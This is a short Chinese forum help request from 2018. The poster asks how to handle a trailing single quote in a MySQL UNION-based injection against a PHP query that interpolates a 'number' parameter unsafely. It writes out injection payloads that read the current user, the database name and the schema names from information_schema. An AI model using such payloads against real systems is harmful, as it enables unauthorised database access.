-
-
[求助]mysql 注入语句的单引号处理
-
发表于:
2018-3-30 16:08
1542
-
PHP语句,select * from data where number <='{$number}'
当 number 为 201803-29' and 1=2 union select 1,2,3,4,5,concat(current_user(),' ',database())'
下面是可以的 select * from data where number <= '201803-29' and 1=2 union select 1,2,3,4,5,concat(current_user(),' ',database())''
当 number 为 201803-29' and 1=2 union select 1,2,3,4,5,SCHEMA_NAME from information_schema.SCHEMATA'
最终语句为 select * from data where number <='201803-29' and 1=2 union select 1,2,3,4,5,SCHEMA_NAME from information_schema.SCHEMATA''
执行时,会因为末尾两个单引号''出错,怎么弄
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-3-30 16:09
被小李世界编辑
,原因: